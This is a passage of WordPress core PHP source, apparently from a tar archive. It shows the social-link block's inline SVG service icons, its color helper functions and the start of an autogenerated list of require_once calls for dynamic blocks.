c0,0.1,0,0.1,0.1,0.1c0,0,0.1,0.1,0.1,0.1C8.8,16.3,8.9,16.3,8.9,16.1z M11.4,15.9l0.1-1.8L11.4,9c0-0.1,0-0.2-0.1-0.2 c0,0-0.1,0-0.1,0s-0.1,0-0.1,0c-0.1,0-0.1,0.1-0.1,0.2l0,0.1l-0.1,5c0,0,0,0.7,0.1,2v0c0,0.1,0,0.1,0.1,0.1c0.1,0.1,0.1,0.1,0.2,0.1 c0.1,0,0.1,0,0.2-0.1c0.1,0,0.1-0.1,0.1-0.2L11.4,15.9z M2.4,12.9L2.5,14l-0.2,1.1c0,0.1,0,0.1-0.1,0.1c0,0-0.1,0-0.1-0.1L2.1,14 l0.1-1.1C2.2,12.9,2.3,12.9,2.4,12.9C2.3,12.9,2.4,12.9,2.4,12.9z M3.1,12.2L3.3,14l-0.2,1.8c0,0.1,0,0.1-0.1,0.1 c-0.1,0-0.1,0-0.1-0.1L2.8,14L3,12.2C3,12.2,3,12.2,3.1,12.2C3.1,12.2,3.1,12.2,3.1,12.2z M3.9,11.9L4.1,14l-0.2,2.1 c0,0.1,0,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L3.5,14l0.2-2.1c0-0.1,0-0.1,0.1-0.1C3.9,11.8,3.9,11.8,3.9,11.9z M4.7,11.9L4.9,14 l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L4.3,14l0.2-2.2c0-0.1,0-0.1,0.1-0.1C4.7,11.7,4.7,11.8,4.7,11.9z M5.6,12 l0.2,2l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c0,0-0.1,0-0.1,0c0,0,0-0.1,0-0.1L5.1,14l0.2-2c0,0,0-0.1,0-0.1s0.1,0,0.1,0 C5.5,11.9,5.5,11.9,5.6,12L5.6,12z M6.4,10.7L6.6,14l-0.2,2.1c0,0,0,0.1,0,0.1c0,0-0.1,0-0.1,0c-0.1,0-0.1-0.1-0.2-0.2L5.9,14 l0.2-3.3c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0C6.4,10.7,6.4,10.7,6.4,10.7z M7.2,10l0.2,4.1l-0.2,2.1c0,0,0,0.1,0,0.1 c0,0-0.1,0-0.1,0c-0.1,0-0.2-0.1-0.2-0.2l-0.1-2.1L6.8,10c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0S7.2,9.9,7.2,10z M8,9.6L8.2,14 L8,16.1c0,0.1-0.1,0.2-0.2,0.2c-0.1,0-0.2-0.1-0.2-0.2L7.5,14l0.1-4.4c0-0.1,0-0.1,0.1-0.1c0,0,0.1-0.1,0.1-0.1c0.1,0,0.1,0,0.1,0.1 C8,9.6,8,9.6,8,9.6z M11.4,16.1L11.4,16.1L11.4,16.1z M9.7,9.6L9.8,14l-0.1,2.1c0,0.1,0,0.1-0.1,0.2s-0.1,0.1-0.2,0.1 c-0.1,0-0.1,0-0.1-0.1s-0.1-0.1-0.1-0.2L9.2,14l0.1-4.4c0-0.1,0-0.1,0.1-0.2s0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S9.7,9.5,9.7,9.6 L9.7,9.6z M10.6,9.8l0.1,4.3l-0.1,2c0,0.1,0,0.1-0.1,0.2c0,0-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c0,0-0.1-0.1-0.1-0.2L10,14 l0.1-4.3c0-0.1,0-0.1,0.1-0.2c0,0,0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S10.6,9.7,10.6,9.8z M12.4,14l-0.1,2c0,0.1,0,0.1-0.1,0.2 c-0.1,0.1-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2l-0.1-1l-0.1-1l0.1-5.5v0c0-0.1,0-0.2,0.1-0.2 c0.1,0,0.1-0.1,0.2-0.1c0,0,0.1,0,0.1,0c0.1,0,0.1,0.1,0.1,0.2L12.4,14z M22.1,13.9c0,0.7-0.2,1.3-0.7,1.7c-0.5,0.5-1.1,0.7-1.7,0.7 h-6.8c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2V8.2c0-0.1,0.1-0.2,0.2-0.3c0.5-0.2,1-0.3,1.6-0.3c1.1,0,2.1,0.4,2.9,1.1 c0.8,0.8,1.3,1.7,1.4,2.8c0.3-0.1,0.6-0.2,1-0.2c0.7,0,1.3,0.2,1.7,0.7C21.8,12.6,22.1,13.2,22.1,13.9L22.1,13.9z"></path></svg>', ), 'spotify' => array( 'name' => _x( 'Spotify', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865"></path></svg>', ), 'telegram' => array( 'name' => _x( 'Telegram', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 128 128" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M28.9700376,63.3244248 C47.6273373,55.1957357 60.0684594,49.8368063 66.2934036,47.2476366 C84.0668845,39.855031 87.7600616,38.5708563 90.1672227,38.528 C90.6966555,38.5191258 91.8804274,38.6503351 92.6472251,39.2725385 C93.294694,39.7979149 93.4728387,40.5076237 93.5580865,41.0057381 C93.6433345,41.5038525 93.7494885,42.63857 93.6651041,43.5252052 C92.7019529,53.6451182 88.5344133,78.2034783 86.4142057,89.5379542 C85.5170662,94.3339958 83.750571,95.9420841 82.0403991,96.0994568 C78.3237996,96.4414641 75.5015827,93.6432685 71.9018743,91.2836143 C66.2690414,87.5912212 63.0868492,85.2926952 57.6192095,81.6896017 C51.3004058,77.5256038 55.3966232,75.2369981 58.9976911,71.4967761 C59.9401076,70.5179421 76.3155302,55.6232293 76.6324771,54.2720454 C76.6721165,54.1030573 76.7089039,53.4731496 76.3346867,53.1405352 C75.9604695,52.8079208 75.4081573,52.921662 75.0095933,53.0121213 C74.444641,53.1403447 65.4461175,59.0880351 48.0140228,70.8551922 C45.4598218,72.6091037 43.1463059,73.4636682 41.0734751,73.4188859 C38.7883453,73.3695169 34.3926725,72.1268388 31.1249416,71.0646282 C27.1169366,69.7617838 23.931454,69.0729605 24.208838,66.8603276 C24.3533167,65.7078514 25.9403832,64.5292172 28.9700376,63.3244248 Z" /></svg>', ), 'threads' => array( 'name' => _x( 'Threads', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.3 11.3c-.1 0-.2-.1-.2-.1-.1-2.6-1.5-4-3.9-4-1.4 0-2.6.6-3.3 1.7l1.3.9c.5-.8 1.4-1 2-1 .8 0 1.4.2 1.7.7.3.3.5.8.5 1.3-.7-.1-1.4-.2-2.2-.1-2.2.1-3.7 1.4-3.6 3.2 0 .9.5 1.7 1.3 2.2.7.4 1.5.6 2.4.6 1.2-.1 2.1-.5 2.7-1.3.5-.6.8-1.4.9-2.4.6.3 1 .8 1.2 1.3.4.9.4 2.4-.8 3.6-1.1 1.1-2.3 1.5-4.3 1.5-2.1 0-3.8-.7-4.8-2S5.7 14.3 5.7 12c0-2.3.5-4.1 1.5-5.4 1.1-1.3 2.7-2 4.8-2 2.2 0 3.8.7 4.9 2 .5.7.9 1.5 1.2 2.5l1.5-.4c-.3-1.2-.8-2.2-1.5-3.1-1.3-1.7-3.3-2.6-6-2.6-2.6 0-4.7.9-6 2.6C4.9 7.2 4.3 9.3 4.3 12s.6 4.8 1.9 6.4c1.4 1.7 3.4 2.6 6 2.6 2.3 0 4-.6 5.3-2 1.8-1.8 1.7-4 1.1-5.4-.4-.9-1.2-1.7-2.3-2.3zm-4 3.8c-1 .1-2-.4-2-1.3 0-.7.5-1.5 2.1-1.6h.5c.6 0 1.1.1 1.6.2-.2 2.3-1.3 2.7-2.2 2.7z"/></svg>', ), 'tiktok' => array( 'name' => _x( 'TikTok', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 32 32" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.708 0.027c1.745-0.027 3.48-0.011 5.213-0.027 0.105 2.041 0.839 4.12 2.333 5.563 1.491 1.479 3.6 2.156 5.652 2.385v5.369c-1.923-0.063-3.855-0.463-5.6-1.291-0.76-0.344-1.468-0.787-2.161-1.24-0.009 3.896 0.016 7.787-0.025 11.667-0.104 1.864-0.719 3.719-1.803 5.255-1.744 2.557-4.771 4.224-7.88 4.276-1.907 0.109-3.812-0.411-5.437-1.369-2.693-1.588-4.588-4.495-4.864-7.615-0.032-0.667-0.043-1.333-0.016-1.984 0.24-2.537 1.495-4.964 3.443-6.615 2.208-1.923 5.301-2.839 8.197-2.297 0.027 1.975-0.052 3.948-0.052 5.923-1.323-0.428-2.869-0.308-4.025 0.495-0.844 0.547-1.485 1.385-1.819 2.333-0.276 0.676-0.197 1.427-0.181 2.145 0.317 2.188 2.421 4.027 4.667 3.828 1.489-0.016 2.916-0.88 3.692-2.145 0.251-0.443 0.532-0.896 0.547-1.417 0.131-2.385 0.079-4.76 0.095-7.145 0.011-5.375-0.016-10.735 0.025-16.093z" /></svg>', ), 'tumblr' => array( 'name' => _x( 'Tumblr', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.04 21.28h-3.28c-2.84 0-4.94-1.37-4.94-5.02v-5.67H6.08V7.5c2.93-.73 4.11-3.3 4.3-5.48h3.01v4.93h3.47v3.65H13.4v4.93c0 1.47.73 2.01 1.92 2.01h1.73v3.75z" /></path></svg>', ), 'twitch' => array( 'name' => _x( 'Twitch', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z"></path></svg>', ), 'twitter' => array( 'name' => _x( 'Twitter', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z"></path></svg>', ), 'vimeo' => array( 'name' => _x( 'Vimeo', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z"></path></svg>', ), 'vk' => array( 'name' => _x( 'VK', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z"></path></svg>', ), 'wordpress' => array( 'name' => _x( 'WordPress', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z"></path></svg>', ), 'whatsapp' => array( 'name' => _x( 'WhatsApp', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M 12.011719 2 C 6.5057187 2 2.0234844 6.478375 2.0214844 11.984375 C 2.0204844 13.744375 2.4814687 15.462563 3.3554688 16.976562 L 2 22 L 7.2324219 20.763672 C 8.6914219 21.559672 10.333859 21.977516 12.005859 21.978516 L 12.009766 21.978516 C 17.514766 21.978516 21.995047 17.499141 21.998047 11.994141 C 22.000047 9.3251406 20.962172 6.8157344 19.076172 4.9277344 C 17.190172 3.0407344 14.683719 2.001 12.011719 2 z M 12.009766 4 C 14.145766 4.001 16.153109 4.8337969 17.662109 6.3417969 C 19.171109 7.8517969 20.000047 9.8581875 19.998047 11.992188 C 19.996047 16.396187 16.413812 19.978516 12.007812 19.978516 C 10.674812 19.977516 9.3544062 19.642812 8.1914062 19.007812 L 7.5175781 18.640625 L 6.7734375 18.816406 L 4.8046875 19.28125 L 5.2851562 17.496094 L 5.5019531 16.695312 L 5.0878906 15.976562 C 4.3898906 14.768562 4.0204844 13.387375 4.0214844 11.984375 C 4.0234844 7.582375 7.6067656 4 12.009766 4 z M 8.4765625 7.375 C 8.3095625 7.375 8.0395469 7.4375 7.8105469 7.6875 C 7.5815469 7.9365 6.9355469 8.5395781 6.9355469 9.7675781 C 6.9355469 10.995578 7.8300781 12.182609 7.9550781 12.349609 C 8.0790781 12.515609 9.68175 15.115234 12.21875 16.115234 C 14.32675 16.946234 14.754891 16.782234 15.212891 16.740234 C 15.670891 16.699234 16.690438 16.137687 16.898438 15.554688 C 17.106437 14.971687 17.106922 14.470187 17.044922 14.367188 C 16.982922 14.263188 16.816406 14.201172 16.566406 14.076172 C 16.317406 13.951172 15.090328 13.348625 14.861328 13.265625 C 14.632328 13.182625 14.464828 13.140625 14.298828 13.390625 C 14.132828 13.640625 13.655766 14.201187 13.509766 14.367188 C 13.363766 14.534188 13.21875 14.556641 12.96875 14.431641 C 12.71875 14.305641 11.914938 14.041406 10.960938 13.191406 C 10.218937 12.530406 9.7182656 11.714844 9.5722656 11.464844 C 9.4272656 11.215844 9.5585938 11.079078 9.6835938 10.955078 C 9.7955938 10.843078 9.9316406 10.663578 10.056641 10.517578 C 10.180641 10.371578 10.223641 10.267562 10.306641 10.101562 C 10.389641 9.9355625 10.347156 9.7890625 10.285156 9.6640625 C 10.223156 9.5390625 9.737625 8.3065 9.515625 7.8125 C 9.328625 7.3975 9.131125 7.3878594 8.953125 7.3808594 C 8.808125 7.3748594 8.6425625 7.375 8.4765625 7.375 z"></path></svg>', ), 'x' => array( 'name' => _x( 'X', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg>', ), 'yelp' => array( 'name' => _x( 'Yelp', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z"></path></svg>', ), 'youtube' => array( 'name' => _x( 'YouTube', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z"></path></svg>', ), ); /** * Filter the list of available social service. * * This can be used to change icons or add custom icons (additionally to variations in the editor). * Icons should be directly renderable - therefore SVGs work best. * * @since 6.9.0 * * @param array $services_data The list of services. Each item is an array containing a 'name' and 'icon' key. * @return array The list of social services. */ $services_data = apply_filters( 'block_core_social_link_get_services', $services_data ); if ( ! empty( $service ) && ! empty( $field ) && isset( $services_data[ $service ] ) && ( 'icon' === $field || 'name' === $field ) ) { return $services_data[ $service ][ $field ]; } elseif ( ! empty( $service ) && isset( $services_data[ $service ] ) ) { return $services_data[ $service ]; } return $services_data; } /** * Returns CSS styles for icon and icon background colors. * * @since 5.7.0 * * @param array $context Block context passed to Social Link. * * @return string Inline CSS styles for link's icon and background colors. */ function block_core_social_link_get_color_styles( $context ) { $styles = array(); if ( array_key_exists( 'iconColorValue', $context ) ) { $styles[] = 'color:' . $context['iconColorValue'] . ';'; } if ( array_key_exists( 'iconBackgroundColorValue', $context ) ) { $styles[] = 'background-color:' . $context['iconBackgroundColorValue'] . ';'; } return implode( '', $styles ); } /** * Returns CSS classes for icon and icon background colors. * * @since 6.3.0 * * @param array $context Block context passed to Social Sharing Link. * * @return string CSS classes for link's icon and background colors. */ function block_core_social_link_get_color_classes( $context ) { $classes = array(); if ( array_key_exists( 'iconColor', $context ) ) { $classes[] = 'has-' . $context['iconColor'] . '-color'; } if ( array_key_exists( 'iconBackgroundColor', $context ) ) { $classes[] = 'has-' . $context['iconBackgroundColor'] . '-background-color'; } return ' ' . implode( ' ', $classes ); } require-dynamic-blocks.php 0000644 00000011562 15217610760 0011640 0 ustar 00 <?php // This file was autogenerated by tools/gutenberg/copy.js, do not change manually! // Requires files for dynamic blocks necessary for core blocks registration. require_once ABSPATH . WPINC . '/blocks/accordion.php'; require_once ABSPATH . WPINC . '/blocks/accordion-item.php'; require_once ABSPATH . WPINC . '/blocks/archives.php'; require_once ABSPATH . WPINC . '/blocks/avatar.php'; require_once ABSPATH . WPINC . '/blocks/block.php'; require_once ABSPATH . WPINC . '/blocks/breadcrumbs.php'; require_once ABSPATH . WPINC . '/blocks/button.php'; require_once ABSPATH . WPINC . '/blocks/calendar.php'; require_once ABSPATH . WPINC . '/blocks/categories.php'; require_once ABSPATH . WPINC . '/blocks/comment-author-name.php'; require_once ABSPATH . WPINC . '/blocks/comment-content.php'; require_once ABSPATH . WPINC . '/blocks/comment-date.php'; require_once ABSPATH . WPINC . '/blocks/comment-edit-link.php'; require_once ABSPATH . WPINC . '/blocks/comment-reply-link.php'; require_once ABSPATH . WPINC . '/blocks/comment-template.php'; require_once ABSPATH . WPINC . '/blocks/comments.php'; require_once ABSPATH . WPINC . '/blocks/comments-pagination.php'; require_once ABSPATH . WPINC . '/blocks/comments-pagination-next.php'; require_once ABSPATH . WPINC . '/blocks/comments-pagination-numbers.php'; require_once ABSPATH . WPINC . '/blocks/comments-pagination-previous.php'; require_once ABSPATH . WPINC . '/blocks/comments-title.php'; require_once ABSPATH . WPINC . '/blocks/cover.php'; require_once ABSPATH . WPINC . '/blocks/details.php'; require_once ABSPATH . WPINC . '/blocks/file.php'; require_once ABSPATH . WPINC . '/blocks/footnotes.php'; require_once ABSPATH . WPINC . '/blocks/gallery.php'; require_once ABSPATH . WPINC . '/blocks/heading.php'; require_once ABSPATH . WPINC . '/blocks/home-link.php'; require_once ABSPATH . WPINC . '/blocks/icon.php'; require_once ABSPATH . WPINC . '/blocks/image.php'; require_once ABSPATH . WPINC . '/blocks/latest-comments.php'; require_once ABSPATH . WPINC . '/blocks/latest-posts.php'; require_once ABSPATH . WPINC . '/blocks/list.php'; require_once ABSPATH . WPINC . '/blocks/loginout.php'; require_once ABSPATH . WPINC . '/blocks/media-text.php'; require_once ABSPATH . WPINC . '/blocks/navigation.php'; require_once ABSPATH . WPINC . '/blocks/navigation-link.php'; require_once ABSPATH . WPINC . '/blocks/navigation-overlay-close.php'; require_once ABSPATH . WPINC . '/blocks/navigation-submenu.php'; 